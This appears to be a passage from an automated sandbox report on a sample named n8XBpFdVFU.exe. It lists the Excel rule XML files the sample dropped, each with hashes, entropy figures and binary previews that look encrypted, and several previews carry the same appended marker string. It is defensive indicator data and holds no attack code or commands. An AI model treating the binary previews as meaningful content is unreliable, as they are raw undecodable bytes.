Preview:	<?xml..A.q....{!....1....#4.).[......="......qA}].l..Z_....pr.......)K}9C?.S..iGg2'..5.......!...S.{+.q.L.U/.9......a/....B..F`....>..oW./q.kIv.....Y.s.aI.oo..(`].REp... .V..).{.}S.aQ...:...u.(.......E./..t.b..by....4......e+..i+l.=....I...c..z.?s...y..z..H...5/:l...[.;...q...vG.l.k...!..9.`..8d.\|]....P1.l"..,..S.Y.c...Pk..?j..a=..0.9!a....Z.;...O.M..`....bX.....kY>:...D.e.eL.+.V.Th`.._..C.a....6\|....p.A.....?.0pYO...pqI.0..b.......)V>.....s...:..}...Z ~./g.}... ...<?...o.i^.....q.`L-...P......$........3..B.qa....lb..uk..h.-B.........W....\|..E..xR.<..iR....f.v.=...p.Jl....z....P.bYB..CrO..c66.8..\..@...H..mb.P...9.@....L0......._...2.....,I...(..V..z...T.bE...G..d.Q9nH...)2(.^7]i3..J>....xN<...V....R.......t{.#..};m.....%I.....zx@..D..~.........;.!%.9m...6.>.)...:!\._,.1.>..:......Vv]3....&..,.C7.c.!....t..muh.....B5W....h....8......,....}..%..=&.I&.....`...Y..t....:......p.A.D.EC)U.$..G3..;.1Z....X%I\|.s.r...#?KW....L.M.~.....N..X4.d.ml.6A..u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.967843780821206
Encrypted:	false
SSDEEP:	96:F/m2lXf4v9CLRNzOOhuYkgI2g7hwgMyBT7sS/XB3c21uBwK+1OTVC86Z+kuZ3:F/ZlXgvWzWYGNf3BX7VxuBOiA86Z+Pp
MD5:	AD0939F0A31334DFF76358DB8725892F
SHA1:	C82F0B5A3995CCF69A1CA923E320CA78C679DC2F
SHA-256:	6720AF78B02AF2D1FE1C705E15E66DB0537C067813C49353D7506091DB5587EF
SHA-512:	F4ADBF460808D1EAF8B1CCF50650E158F6D5DE59EE5AF62292DB24009EB8493BD09641C1E9D10CB39265B3C94271ED9B6019512007BD466E9D410C18FC7DD428
Malicious:	false
Preview:	<?xml.@7.C2W{EU._...#..-.....(.U.dU.........>......X..na.y.s.(.Y. .2.M+z.b..#;co..z.w3* ..5.....\|....'..E\|".P.\|.3....zU..........a.......s.}..hW...Ll=;..d....:.Ps....x....p.z{5i.\.G8.L.U.&....H.....v.NPph...-~..1..`.@Zq.C....4.9.8..B...y..I.p.^FM.-........E.W.\|.........Z..UIh...o..~u...E.L2...C~^...&....&@.T.l@1Pm..I.7r.p..f#..i...p..rm..sX.!C'k..$\.yXQ...Z.{...n=.[GV..).v..@(Z..Q..].....W....(..u..L?..._.F../_.I...,.cN.9.c...d...V7E.$...g.a..;......P.s[2.sl..g...a}.;..?...=.l.i..Z.=..}....~..>..;..Y'd7_.B....c..c...............3....G.%wBm.`y..Q....>....I./E..6{#...Ajp.d.t..;G.G......@g#>......C.e5..J.kV..6@....2.i..`.E.....ZK.2-59.7m.q..'."!CV....p........B..%.SgY./....@MI..`....#A.>wP...p,..Aq..w...8j..w..MK..u..>.3.R.._..7M. 6&0..7....9.)z.9..S(e&P;..?O(d.9^.....\|..........i.g.....iP..&.......r......s.V.....-.X.R`=.a..a;-.n........P..3`..J...'.F. .....,...Y....B..S..e...HV[.^uo....G.Z...H.'..T.4..8...{..Y..^<..\|.\.,-(..4d.v.q..{N..yq.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.897817907457207
Encrypted:	false
SSDEEP:	48:WZudYX3CpbSKhfYLuwbpstrLC9naTMZte5aUAy4D:WEnBTOLd1naTMQaUAyk
MD5:	C66F6A0447FAAC0961A451C9B5354490
SHA1:	947672F4C30C09520DCDE6AAD6C9134EAF798E96
SHA-256:	D2011628447F97911A1A370771CEB0339CD75AEC43ECD71A92B8A895D2AE073E
SHA-512:	E2E7CA8E02FD9C319E9D0C9D4E2B4C78DDCC67B5EE8221B48AF2D0F84318F194C6BA386332958CC0E806260D8BE57DE826E41D79F919A9F7826E5ABE119472ED
Malicious:	false
Preview:	<?xmlF.....]C24........q.6..-.....\|....WUm..u..\....."dO.g.`...E}.....G.....P..hV.rS........!..]N..y.=....8pm.l.._..:.!..L..mu...9...`~:..Q.GMT..s4.fb.....n.........9en....g.K..............T!..A..Ma.m..pFYzq8U.n...@.M.,@.~....R......-....#.hJ.$u....i..h.B.`g(.+,...N.C..Z}..t..O.X.9.d.T.....XLB...6...jl.kz%/....6Y..N0.G.G..Dz\......k..h.<.<....@@...d.y.swQ..=..x..` ..........&......6<.L....py.3.~.......i..h...........[.T..y.{.\|{W`.h.....dt...R.J.D...;B%..I...@.r.........}%a....4....{h....~....]..!>.....][.Z...x....`[.%g..UJ<.%..Tk.0T=..#....k..G..I~..>..s..=......t71.......FmI,.D8.)...@..d7.}..UG0L)...F..h.[....Y.R....Z..U.........p.u..,...#m..(.G.k5...v..\..Z]..C.X....yh.\..!:.1m...8..6........+.8]>.<..4]S#S..Z.T.9.r`...1<./r.4.O7....".-#.......UV(A.,./k.%.w=...j...h....p.........y.d...u......g.^..)..w..{......wX.?...v.Gr.7..k_....F..UZ'1...-........j.pXJ.\|..4u..U....cP"+..PQ..FG..e._..8^?-w..{.\.V`...>K41JZ-.G.+.{........\|.P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.800292407642136
Encrypted:	false
SSDEEP:	24:Hv2sZoX+XGYtzndCHO/6NSylMQ/VbOgZsa23UbD:P2sGX0GODdCHTr3VsF+D
MD5:	14ED81FFEC36992F8EB62607E76FB5FC
SHA1:	4FFD6839A0FC8E88EA46FE24A0071D79222C0AA5
SHA-256:	5219B57748E49F83398F963F149075A45F8FEE691837B32C371B915E4959587D
SHA-512:	733392792B7BEC7200718D27292B6BEDDD163D46A5FA1D81C92EB64866A732B53D8B1DC5EE5E26D90F895D01982D5C20118457C3B4E3DE2045E0912A3D797295
Malicious:	false
Preview:	<?xml.VP$\|...GbC.L... ..X+.g..d..y...^...EUS...Z[..8/#.....,X..I...d..3.....V}.../....Bh..J]QM?....;db`....3T..kQ.+Z.Y.....n..VO...Q.9....i....%qC$.&..e`...sM.f...p.Sg.%k.Mx.)..7rA....XVX......f2.F.$...4V9...s5..hu.... .g.o.i.E......E.jV5...\|..o .Q.0/O...gp............R..\|.......?...5n......M.a.&...'..$....._..t.........+.......5g..b~....z..A;.....y....q.g......Ia.......w.cz..\..8....d=@...S....X)HQ.~"Z.....8X.P.~..6x.nD1;F.+f[.M.".JQ..{.E...j......C..]....g..@i...A..h/.:...jBB..ACD&.c(...f(Q...f.1.......N..@..5... ......-..)'.9.7.gC.?B.pnx.S....Q.....5ID.r..W..yo..~%..a.F.^.>..m...7N......._H..m?~......3.....l2.@....q.`@...1......]x.=7.qP.w.).x$...v9G..!.~...96Y.j.QME..!.=.D2.zw...\.....j<WC......T`h........A...z...I..@.g$.PF..Y.O..}..d....n..D..BtI.......c?B.....Kk........rex..l.t.v.*u..?..?`.HWe.,........y.....K..'D.tFH....>sT;.%..!1........`r.bQ........HVSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.93861918338118
Encrypted:	false
SSDEEP:	48:aHJ9Y1tJQpFAhnl49CYGBA5h2fLXQ/Yrr/9kLVrUaXjc0WZQTM26+S+/lD:kJ9Y17QpFb9lcA/mXQGb98gaX4bIJd
MD5:	925635A6E8EC57D21E82C0CE27EC5057
SHA1:	7908887F4B3ECAB6B3F680DE410AD6D228DAC43E
SHA-256:	59F5406F28272C5DA762ED7DFCBDDFB96F850F095C3ADAC30F0E06DA8634C6F1
SHA-512:	E02E5B6833CD35AB98B01805D939CB1AE4E83396F8558E65D276EFBD5D5B8AC4CD25BF29DDF8F84DED761AB8689614F06EDAE6182A38197938CBCC52FC63DD75
Malicious:	false
Preview:	<?xml..3HWl..!...9.o.jz..K..h.q.s...t].U.R%.<....l.s'H..t..]ujSW\U..0^(..k..).....g.6.J.-.f....>.k7{.`\|..TCdZw.........@..,~...pr...S..p..L...'<.l+.`O".3TEUc .O...?f?{=...1....e...S2F.v..H..k..q.g.A....@...aG.<....k.0B..\|h...Z=.MVZ^....R.%..[...!bC.$C........0S.h.S......$...D..!\|Jj<..Cg..(..E...<\.f..}.).........\..P.6.fxD.G.z$...t..;.0.[..%...J..Z6...^-...G-..Osk~AP+}..oe..N[k%.....y..F.'.....$.D.)%.D.....L.......F.[.......}...{..J....dp}....t.}h...&..X.S+.(..(..\|...g.8.B.o~.[....xd=......;K/.;i...-M\.V...e6.?...].2..........'.1......8..7fhD..~ 4...R..j...3'...!.@!..._.. k..\|.n......I^,<.<. .../.3......L.i...v.TQ%.....2..2.t.ZE..o....>.#A..l+.k"..-.$..".Ep^=t..R\|..}.....H.....w.e......r./zI.eK....).>...C.u.XF...5...x.(.yd"...uq=">1,.....Cg...y..-Q....r.O5.'4.>...L.I.!..........+.e..u.....g.....jWK?.Mg`...5.}..).{x../.s6....0.......Q.W...F.e.5..=nz.h.c.g!.@.....:=i[.... _r.....2>z..k.u.{.Z(..3....im....,t..Uo..g.kLG....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.9840802898458065
Encrypted:	false
SSDEEP:	192:ax7ZiKX62NN2fQGkkEUG6RGa+neMZsg5bXaYQNqv:aJ2fklUGgGzeSX5mqv
MD5:	868C59B1E8A2AB8A27E59CC2EE0C153A
SHA1:	B00532E49BD412CB4FCD2D842E3C19D65859B4D6
SHA-256:	BF5C0A07FD36E16EC5D696DC431D249DF9AE702EB39898902FF26F16ECA56097
SHA-512:	07DC916032C88E8D1B7BF8208BCADD7CD8AE449B9773C375EF384F36CF394AA99F0B36312865ACE0ED6B422AB43DE7BC5C2D7F9D23ACE2E0715572D63C3B5115
Malicious:	false
Preview:	<?xml...8.B....4V......W.o.&.).e.A..qB.......3i.].8.WW......[.~..6..d%..<...p....#...iL.....M......cJn....Hph1..K..b...`5?._.Z....>.i]T]rM?.....c..\.. ..as.!.7.fJ...]<...($...d~.!.\.:...$\(.y.xAc.d..u.R..P.G$..J3..\|s..d.9%.L...[}_.......g......0.iF..$^<.l..L...@.sS]..}.]..v.l I<}".B.. .....&4?...#Ie;_.4.A.(.w...[%.k;....\6yu-q8V..=7......8..J7X.WP=h..$.8.).)._t..-."..p"2H.v.o.My.l..tj8.....@KR.....h..1KN..j......'%.Gn.F.fR..........~..K.......n.Zc..z.?#j...8Q..R.@.(.......F.~.Q.o.V..0.<\|^v./.....t]...._.GnF...xGjzW..d..'ama.[..R..JI...C.....X..@..0.r1.0.x,}7.U.b..PX.....TLU*1..o...\|..A^...v...99.w$s...A..6.zV.....b#...y.s.T...XI.f...@h....t...Bc..H...E..D%c.>..G>..1.Y._....$....u.....^.C,.>..ThR..;.c..y...1..Y...!............2s....e]XE...@)t.E...s...(K..L...Fq.9T....X-r........R..w..}..<.#.k$Q:..@...Btw..!.....[O..lh-..4....-.1../..z..CR.....E.[3.bw].7h8..........b@...K{,.E9Q.e..d...L...}M.S.80.\|?..:.x......K[.k5u9].....^>..[...B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.691454646496992
Encrypted:	false
SSDEEP:	24:LPJ3cs9dCDS7WW2DnIdDn1H45yXeyQadbD:VZ9EzWCiz16yuyQadD
MD5:	26D95E29437EFBC2045A8C0EC7A73A93
SHA1:	E82FD1F639E3EDAA33C249E31EF9AD661E468D1C
SHA-256:	7675C24DF49846F92001AF01B978AA59C62EAE5B2EFC7F5489C6A247643811E4
SHA-512:	A3DA85B4BA360C8B3AF777577603D1B2720F5BF7E9E94F4578B0E21E50792C552F9276CEE37823B45F92BEC6D25FD3BE46F51415F9EA1D5C18E74CD813DCF289
Malicious:	false
Preview:	<?xmlN`x....).X.....X..Q..f...#.$.o.Z.Xj..OW.C..Et.....N.^..?...u..<.Q.Ed..l.......>_F6.h~.4.?r_wF.a......N/.!..e.../[...W}-@".+..5N..A......p...........d.......R%p<.R.....s,.?Z...XU.w..y.......Z..4l......X<.$.s..,3....jh./.ks.eh...R[.-.^.oC.._2.8....$..N.....\|9...7g...&...hMH...c.-8..6-.8.V.w>B.......z....S@?... .]w'.3s..2..x..-.......UA..I @..\|.Z..........bFF.46..+.m:[]c`..LE6..w.....^3cy...x......,.>I6.p...P.?....)....\|1.$Q./.X....{u.,...cw".%y.2m8..5.8....s0.u._.O.....E...`....^^....\|9.=Q.......EC.nT]..-F..[...5.......:gMY....2...\|...'.%n...w.j.vG.\p....j.f.ik..Oc.X.l...>V..$.{...m].".Z........\|..}..g..R..P.6..P.KHw.l...'..l.r)-..p..Q..~..xR....z.Fp/..f;..."....9.,..I.]"....kh.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6793907295022565
Encrypted:	false
SSDEEP:	12:dPF9OV5LVuAwEfopmG0NSXWcXXnI+4iS8+EQJZDJLhRl2unWIw/UkcM0f0o4n8ay:xFQV5YHpmBNSXlXXnIhiS8DotZ20MU0U
MD5:	4CCB2407AF9B2E16BDF466F21B8C20A2
SHA1:	7183EDF47AB229C14C623A88CF0402D01238D475
SHA-256:	60AF18F4B4BE0DDC741F25B9EB3CEEEA2A2DA0566AE0331E3AF50D0CF261521C
SHA-512:	093BD4C44C1B6A717D48AC5E6BA395979D307D55E618459DB6A0DD9E9F002848DC001C41D27D12D259C9DC87594E8D0621638BF3E8617E3EEA3E1947CAB0049D
Malicious:	false
Preview:	<?xml7..?C..g.C<.=.-......;..xE.....vm..k.)..K....E..fL..&\.Z..Z...."x{..Fp\V..Cb2"....jV..T...J...f...GDK../:T.2.F...`.6....U.R3W3;.......1...$..I4.\|.... ......f..l".4~.(W.o..4.........e...x.2.%zcs.a......._.-..y........:.8..c....K..\|.E.x...L..2L./Ic._...W...7j...b ..{.....oWgv..z.V..G[...P.V`.coA..Y..!..K./..-...7%...#q......ux...V.!.%...".5..oB..1..Tjp........._..3-..<...!..U.).2...z.....\.,P...g3.\|n..g.A....ts....{,.vP...>.q......m"y...M....ii....$~k.n.M..2.T\|.u...G..}.!.U0..E..l...3..C..i..........q..?..3....i...C1]."....?D.-u.?.4]m.Y.\...I[zM.+....I..O..+g....}.^...UB.S....,FM..:.43wD.X..h[9..\.....]....}...N.iA.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.912353855428309
Encrypted:	false
SSDEEP:	48:Is37hPjJArDpztOyHTllINMksZ4TPs30sTrLkXyLYzWvD:Is37hPtAPDOy5lINMksZ4Tk3TrLkCK2
MD5:	C8F803910D623D383BF7995F9F4E6100
SHA1:	896CABF70C32589838FACFCA23649CDF9B29DF34
SHA-256:	52E50F21A8D1FDA49EA7D90E938FD357F470425F776901F369EFDC5B7DC7B672
SHA-512:	B47B5A912A86E7755517FE3E20B4E1443F9BDBBF566DC444D5B1D5E51557B97941184FB8B28A4437CD593A7ABAB2B23D414876E21646CFD8F106548DD34EDD62
Malicious:	false
Preview:	<?xml\`/..SS..9.....}{8%..C.9..({...)5......+..s>..=..0.AJ.j..K..h...){e.j..N.).S9.`)"M.......?d..37..Mc.G......z.....i....Epn:.@G.}Z......'.]GD..0..iV.....!/.>. .{...^\|...B_.:..q....3=....@.@..6.....4.."...w.r..{z...M...@.R.]q4.t.XWQ.75..rf.\|.k.{....G.YV9 .....[>...5).$>.....".(O...Z....,4.h...fT.Y0........w._.Y8d.......z...VB....K.H.gG&.f3....3]L...a.....}G.U.X5.3..m.n.`....=.0.....<....R..;..3c..M..[+....Q..0..,......WWPq...~f\|.d....'.+.y.9.d...Y.}f.u.)mOh....1.'.\|W..B.i.....`T...5..Fz....A.....H..p...q 8..&...i.......=;r....h.../8n'...._...5..e..\|...H...f..%,\|....eZK.X.5.d..K_p.........l......X_W\|.uF..(..Q."..B..Y.XZl.x8...rcg.jc......M.P".A.dH.N......0z....v..Ib....h.....nt.%N.[F...D.\|~(.....#(.l.gB.{~;..`.z..dPCRQ".h...a._.'.h.......?.\.r;.>..?=...G....+.E.......hh.'.L.F..;Mx.1[.t4......U.........7..`.v.Q.\|L.Iq...t...9.t.W..^.k..4o.}...i...F..wn!L....r4&\.....B@:NO...............f...m.*.}FM#.#."LB.F.q.U....t.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.773818735319645
Encrypted:	false
SSDEEP:	12:HerbHVBe1SujjfBl2oh3cSRt8d8fdJSne+OeVa2HOBxTJj/ZimQDssJ7j7CLo214:HyC19PPKSLo7YaOzJjBsZB7DtbD
MD5:	815C252B7C2485594A180C07754D64B1
SHA1:	3DE18ACF8BF9F12E7A7A281D92389BC1151FC9A5
SHA-256:	231147DE9348DD05B4711CE608F6766A14CBF50E59E3D73C364EEFDB344B742D
SHA-512:	3921E4C320BCB4F09C43E625B375D749EC80A350DE2A018FD465B0C8399CD518AD11BF965B0AA23EA805CD61E242D50B8E48CF6220265A1E2CABC56036285468
Malicious:	false
Preview:	<?xml.W.....=...c._..4#.C......).x5.^.V..k1\N.C.v&..I...`...c.7A.k......[Ds.\%..m...5Il...vN......\.oe`.)..0_.Rk........SR...k...DaU...#.H...H.&..>..>G.b......K......<~.<\|zq~.....{Ez...[..p..fo:..w@kU%.,.w.l.Q..8...P.-.t,....Z.~BLz.:..o...UP.<...t.<.....?-...A..B.<.$.#3.JYu..=u..G..+W.n..A....7...z...R6\..%s.:..n.8.).-I......uH.....^.?.K.H1...YjKT1......c.P.;<E,knrfZ........s.pj...n...FM..y.7...../.g.l..to...`...w.y^......=....7.O......^.".P...i....LmT..9-..4...k0.C}...e.]..:....]r.....l.b...[i[....tt.L).kg.x.u`.,w.$..#l.K..F.p.\...ZH.......@hx..AV...4.}!.m.[..z.SRh..YQ......./..xF....@......~f.t....F....y..7$..1..m.wq.........?..w...?D......k...,.^$.@8..+..j.....@...7.f..(T7'...uw.2v....NY..w1.U J....x>o..+/zG`.k....`.9...Hr.RZ.@.sg..!(........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.856505551194315
Encrypted:	false
SSDEEP:	24:I6e6C8dgVNKpQ0FlV+Im781yJU+XvzXSPhuKfJ+UvLoBj0jKLbD:G6C82VNKpFfAIb0LvzXSPMKfw9t0jCD
MD5:	E0C4324B96369FF5CBBC6B1B7C382B18
SHA1:	F0051B239BF608180122B3CC7D60C0359D0B4D80
SHA-256:	BC2EB2EC5555BB45F249D6113EC4ACAC7F142CCC9C6DBFF25A5C62A96252E349
SHA-512:	E0A4AE10169AE3505400495C4DFD4B246D9672A0CF3EA8C01D34843D1CBFC551EFD5408B9B1FFC81F58DFA0C836E19D8AD9007984E68AA0F34DE4179481E5566
Malicious:	false
Preview:	<?xml5.Z...T..yR......c.b....2...]....!.[(..d.t;".....H..J......`.6.j.AG..3Z ." l.ug...}..9.W........@....F.]..]../......n2\z.^..O...{.....5#w......5".......)9....'..t....;T.jT.:qi..z..>..3.[).e\..7\a...Q.9..F.5.Z}.E..Ep....;Ra.~3...9...?.......H...1...!G..K......d..U......;.~-..8..%^aYF..&.1....,...t...\..1....L~f.FB[...~.7N.rf..n%.K...@.(.....Yi...................Qj.4.26.\|..fH.5.....A.bI.9.......2sz.lI.+..z..R._.t....p-s{^..-.'..S.I.+E.D..\R....sM..u.`..d.P(..{ ...D.......G.Y......T.w....`.H`..k..O...Qo....>G.q4Z..04..&...K"-9.9....&?......?..q......Z...8U........cHW.f].X0.>..#.X..!..p..^pT{`..Cz...Y./.....V....4..(e..C........dc..i...M.!4.0...j.-.....>...d..h...w..9W....< ......S4...e]\eN.V<..N..Hb.a.7.kD.?i..f.Ff.o.I......QF...$...S.m.[...&.P%..(..V...T..V,...w.4=..4.c'..q.....E46..-4x"..../^...HhD;.......&...t..]0w.......Q#0&w..7..SM....'.UxEI.D{..B....[{h=`.n..3....p.$X.@.sM..UZ.Q.X.k.GQ..m..&^.......f.K.0.A.[.D.C._B._p~8?my

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.855819866767057
Encrypted:	false
SSDEEP:	24:YN0OoHpJr0NOtK2b/k8Kq+1MIBAtgU8KpElVQbzyKaprRV2lTyFsbD:CoHztf/k8J+BOtgDKmlV+zyKaFPkTemD
MD5:	2EB3DDD59E2021C599C2C15EEC280AAA
SHA1:	520A30C433BC5F71E5881D37F89C044B49C896F3
SHA-256:	5CEDE2FD6BC1518D723F3A397B3D8EB1C92B4FB2A6AA81EE174C633BF5A1FDFB
SHA-512:	EAE79E507B0FAD3AC29D50CA07ED07F237E0BE2E2EAE42322B3D732F2711281A8E3140AA408FA85515690E8094E54C328AFB6A4E9E34A11E3E44CCAEA8D192AC
Malicious:	false
Preview:	<?xmleUK...]b......n.xh..<.GR.H\........#.......{.N.-.......p.I.;..;...'.....@h1...\|.x.t.Q%.....m..D..a.......%.D..Hz.,",[..n.R..J#...Z../..O....~..T..ru...........l..........TD....AVwO.B..c.6....O....-....npLR.3{r;]...."..r,.&....;.\.t.p.....5.D...c...1F}...O.....b'7.'.J9.?.Q.+..X....>...1..............pN..'p...l 0?.i..)l... .....<1.r.j.'.Z_...o..K.t'k........V.....0i.T.v.\|.p...x"......d.7.W.`$.A....'..[C..R..f=>6..^.."rf..Is1G.-..../s....<...o\...L.E.i\|..XW!.<.!...............e/.r9j.<.>a.~iO.$.u.....Z......2.2s.lJ.m....L.....Cp$....F...',..N...".l.....[.9..6..... .IIE./..-..,@.o8..@r`..>.i..!.F....._i8.M...IB..T...N..,C!...>.....,........A..2......]/{M8R.d.r>....G\S[(Yxh^.g`..Wil.C?E....jU...i.. .".i.&.....?S..}.../.a....d:>...8..je.Y.,....E\|......F4.."..r+....R..v.....'n.:l..7. ....Ih(...D.....&./../.v....6......a......B`>..;.4.].5.J...A.iZ>.@.....)......vfV.].......`....3...5%.j.J...H...H..(....GMooy:$.. 1x.d.....(N..>.7.0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973847113367658
Encrypted:	false
SSDEEP:	96:FtqtvlnwARdA1tHVgbH6AhUB+11D1uGjTmyL4aI2D9aaNNJZoYPGhJu+Zv0TpUv+:FC5KVgbH6AhUBErUaIwaaUcGhPZsTWix
MD5:	C3C0CF0E1AAFFB787F90FE0FA63AAD1D
SHA1:	431504572CCB00EEA7C1A67E42AC936613B1A973
SHA-256:	07A986E000202899A74BA54A7DB949F6D438B336B393A89686156B82AB5D79B3
SHA-512:	63D19D61DA64475FC712D1CD455D3F54A580083D194356B2472316547E9C21D226B4064D26946DB0133EA6EE52135A90A1FCBE0287CB4A3465404613F3E7AEB8
Malicious:	false
Preview:	<?xml_./.x...u....!.....(.Pu..2._.3.......f.)..C.v....R~.A.D..8#...T8.r.D....@.u.6.y8F....o.'..%)K...A...s.MO...RX.c...P.......<..V.5....?&........a........4.^..s...O.5{B.w.-.....l.1.K...Q.j.....0...-.0.I........Yj..H`....Tx..4)......-y.;@..!..3U.".Z....7.....s..%.cV........i}..)J.v.L...S.!..q..;.\|.....3.p.o..`.sk..............GR .Q.a....dV..TF....K<......Y.....K....1...8...;.:.uBJ..Z...u...&.8[.~.....zW....9[.C..s%.a]h..E......6..DY..q..:...t.-.}k......]}.DU..mN7..E..l..ZT.n.#!..!O.=..v.....h.3v..-..=(..{v.....T..pM.!....vYw.B.....b{.DO.".a..:......N..L{...9....:2..hW....x....\|7.....2...u+..t.....O.H.g.oL,....v....N..qf.....ts.`.AD2..t..)......h.)8.o\|7.."M.p..}.&fXb...b^?.}.A..\.M.s<n.A.VT....l..k.B..{.B.1...k"......x`y.(!w..._...uJ..wl..../z..0......]..A+_].r.........[..H.$..LhF..........;.6.pU...$*0P...B.c..(yb.p...N.+...X..t......4...e.#....\ .e..N.#}....:..I.k..\..SQ...).s.;........r.....#...)..F........n/]`....v/....]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.716193783001814
Encrypted:	false
SSDEEP:	12:lsCseU57IgiUp+bz1Jka2PkPEeoJygf89zGg8zqFMsmOKOV1+cii9a:lsCm57IxA+VJN2PYEdsKgjFGPbD
MD5:	8EF04A2481688143220FD31FAE30527F
SHA1:	54431F8D36BAE9E58A7798E7882A386268575380
SHA-256:	BE069DA1FBFCAB3F7FCE1A2F1CD1C53D525C7EEFACA2841DD573C3EAADCA334D
SHA-512:	F7D2A0EC130252CA327813420DEE693586352355B8F1C0CF2164368E65C92CD78D0EB39C1B270DEF6F6B66B5BD715BC0EDC38493CD73065851617115CFD3FBAC
Malicious:	false
Preview:	<?xml...C..)..2...k....T....a.(.?..b..N(..M...?.....5Q..{.7..%.%.h.T\|.....,...(AA..P>...fsG.=HqX.n.c.........I.o.q.$..Lj..Eo\4"r>.fy`.F.Of...........g.c.O..2..)..[}e>.............[n<.P.....@F.:O\|E)Ns...\.y.;UK..e#0.....}....eU...LZ..J2.+V'..Y...%.....j..Sh.0.t./!s...0...[....u...o.W.#.....=..\|........a,....1L...E.8@.XmR.j.\T.wc%k.j..D.}..~..7&....M..LWu.r...cOX.*r.%P...U....Y.b..7-v.w.).....z..On..H.E.Lm}.....#@Kk-..!.....0..C.A}..i....Q..L.u.~S.g.........-yKw....P...a.aH.d\|........Mz./y.utI'[A.d..biz..6y.....h2.....}....dI....d.>O.......&o..!...'....2......);..D.Tz.........t...A.r9..G@.m3.eq..a+..0.z...:.~...%..!Y.;...Dt=6}"... .8.@......_...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.881907924478916
Encrypted:	false
SSDEEP:	24:+lU4/SB6w6DUqZzqR/0hzAGASMZYeyNlqpOGj2BAWomE0l0/fOuT2Z6bD:R4/BwcU1kzAGAVyNloB23l2xT26D
MD5:	89F259ABC128A279D51C411C264D3A64
SHA1:	60EFDBCAB91240FDC885CEB5D9310EC42ACB3B97
SHA-256:	067D7B5999C2E6A0CF0DF7EE4CB21465F30EEAFCF8055CC48F32CE42F8BB10F9
SHA-512:	E2097384D05E4278DDDAF54E31F4FDFC88D85241949D5B8EDB27D88BF7929007558EDB9AEF83DFD4C7F9F6149A40890E9B4ABDF657D4B92E9E8A1D37D8E5D1A9
Malicious:	false
